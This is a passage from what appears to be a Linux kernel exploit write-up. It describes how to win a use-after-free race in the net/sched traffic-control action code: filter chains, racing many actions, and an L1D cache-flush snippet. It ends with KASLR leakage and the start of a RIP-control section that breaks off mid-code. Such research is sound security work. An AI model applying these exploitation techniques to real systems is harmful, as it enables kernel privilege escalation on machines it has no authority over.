&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/act_api.c#L1507&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tcf_action_init&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; net &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; tcf_proto &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;tp&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; nlattr &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;nla&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		    struct&lt;/span&gt;&lt;span&gt; nlattr &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;est&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; tc_action &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;actions&lt;/span&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		    int&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt; init_res&lt;/span&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;[]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; size_t&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; *&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;attr_size&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;		    u32 &lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span&gt; u32 &lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;fl_flags&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		    struct&lt;/span&gt;&lt;span&gt; netlink_ext_ack &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;extack&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;	for&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (i &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 1&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; i &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; TCA_ACT_MAX_PRIO &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; tb&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[i]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; i&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		act &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tcf_action_init_1&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tp&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; tb&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; est&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; ops&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;i &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 1&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-15&quot;&gt;					&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;init_res&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;i &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 1&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; flags&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; extack&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;IS_ERR&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;act&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;			err &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; PTR_ERR&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;act&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			goto&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; err&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		sz &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tcf_action_fill_size&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;act&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;		/* Start from index 0 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-25&quot;&gt;		actions&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[i &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 1&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; =&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; act&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* We have to commit them all together, because if any error happened in&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	 * between, we could not handle the failure gracefully.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	 */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	tcf_idr_insert_many&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;actions&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; init_res&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;err:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;	tcf_action_destroy&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;actions&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; flags &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; TCA_ACT_FLAGS_BIND&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The actions are created in a loop and committed together once all succeed. The first action is created successfully, but the second one fails, so the code jumps to the &lt;code&gt;err&lt;/code&gt; path and destroys every action created so far, failing the whole &lt;code&gt;RTM_NEWTFILTER&lt;/code&gt; operation.&lt;/p&gt;
&lt;p&gt;The benefit is that this opens the race window without sending an &lt;code&gt;RTM_DELTFILTER&lt;/code&gt; packet for cleanup, saving time and reducing noise. The race window then appears more frequently, improving the hit rate.&lt;/p&gt;
&lt;h3 id=&quot;filter-chain&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#filter-chain&quot; aria-label=&quot;Anchor link for: filter-chain&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
filter chain&lt;/h3&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/cls_api.c#L2341&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tc_new_tfilter&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; sk_buff &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;skb&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; nlmsghdr &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			  struct&lt;/span&gt;&lt;span&gt; netlink_ext_ack &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;extack&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;		mutex_unlock&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;chain&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt;filter_chain_lock&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		tp_new &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tcf_proto_create&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; protocol&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; prio&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; chain&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-13&quot;&gt;					  rtnl_held&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; extack&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		if&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;IS_ERR&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;tp_new&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;			err &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; PTR_ERR&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;tp_new&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;			goto&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; errout_tp&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;		}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;	/* ... */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-18&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each filter chain has a per-chain global lock, &lt;code&gt;chain-&amp;gt;filter_chain_lock&lt;/code&gt;. Using multiple chains avoids serializing the operations and greatly improves racing efficiency.&lt;/p&gt;
&lt;h3 id=&quot;racing-multiple-actions&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#racing-multiple-actions&quot; aria-label=&quot;Anchor link for: racing-multiple-actions&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Racing Multiple Actions&lt;/h3&gt;
&lt;p&gt;The racing is extremely fast; racing a single action creates massive overshoot and the success rate has already maxed out. Racing multiple actions instead increases the chance of success.&lt;/p&gt;
&lt;h3 id=&quot;flushing-the-l1d-cache&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#flushing-the-l1d-cache&quot; aria-label=&quot;Anchor link for: flushing-the-l1d-cache&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Flushing the L1D Cache&lt;/h3&gt;
&lt;p&gt;L1D is the per-CPU level-1 data cache. Flushing it increases the latency of CPU data accesses, stretching the race window.&lt;/p&gt;
&lt;p&gt;Example code:&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-5 z-i&quot;&gt;/* greater than L1D size */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-15&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; L1D_FLUSH_SIZE&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt; *&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 1024&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;static&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; char&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; buf&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span&gt;L1D_FLUSH_SIZE&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; __attribute__&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt;aligned&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)))&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-19 z-i&quot;&gt;volatile&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; char&lt;/span&gt;&lt;span&gt; a&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 0&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; L1D_FLUSH_SIZE&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;z-33&quot;&gt; 64&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;	a &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;z-25&quot;&gt; buf&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;[&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&quot;final-racing-strategy&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#final-racing-strategy&quot; aria-label=&quot;Anchor link for: final-racing-strategy&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Final Racing Strategy&lt;/h3&gt;
&lt;p&gt;Three binder threads on different CPUs and different filter chains race ten actions simultaneously.&lt;/p&gt;
&lt;p&gt;A creater thread on yet another CPU and filter chain repeatedly creates and deletes the ten racing actions through &lt;code&gt;RTM_NEWTFILTER&lt;/code&gt; and &lt;code&gt;RTM_DELTFILTER&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;One thread must create the actions correctly, because the binder threads’ creation ultimately fails.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;exploit&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#exploit&quot; aria-label=&quot;Anchor link for: exploit&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Exploit&lt;/h2&gt;
&lt;p&gt;After the race optimizations, the UAF triggers reliably, yielding the &lt;code&gt;Victim Object&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;kaslr&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#kaslr&quot; aria-label=&quot;Anchor link for: kaslr&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
KASLR&lt;/h3&gt;
&lt;p&gt;The KASLR base is leaked with EntryBleed, ported from &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/bcoles/kasld/blob/master/src/components/entrybleed.c&quot;&gt;kasld&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;rip&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#rip&quot; aria-label=&quot;Anchor link for: rip&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
RIP&lt;/h3&gt;
&lt;p&gt;The action used is gact, the most common action type. This requires the Linux kernel to be built with &lt;code&gt;CONFIG_NET_ACT_GACT&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;giallo z-code&quot; &gt;&lt;code data-lang=&quot;c&quot; data-name=&quot;https://elixir.bootlin.com/linux/v7.1-rc5/source/net/sched/act_api.c#L781&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;z-13&quot;&gt; tcf_idr_create&lt;/span&gt;&lt;span class=&quot;z-18&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt;struct&lt;/span&gt;&lt;span&gt; tc_action_net &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;tn&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span&gt; u32 &lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; nlattr &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;est&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-24&quot;&gt;		   struct&lt;/span&gt;&lt;span&gt; tc_action &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;z-19 z-i&quot;&gt; const&lt;/span&gt;&lt;span class=&quot;z-24&quot;&gt; struct&lt;/span&gt;&lt;span&gt; tc_action_ops &lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;z-29&quot;&gt;ops&lt;/span&gt;&lt;span class=&quot;z-15&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
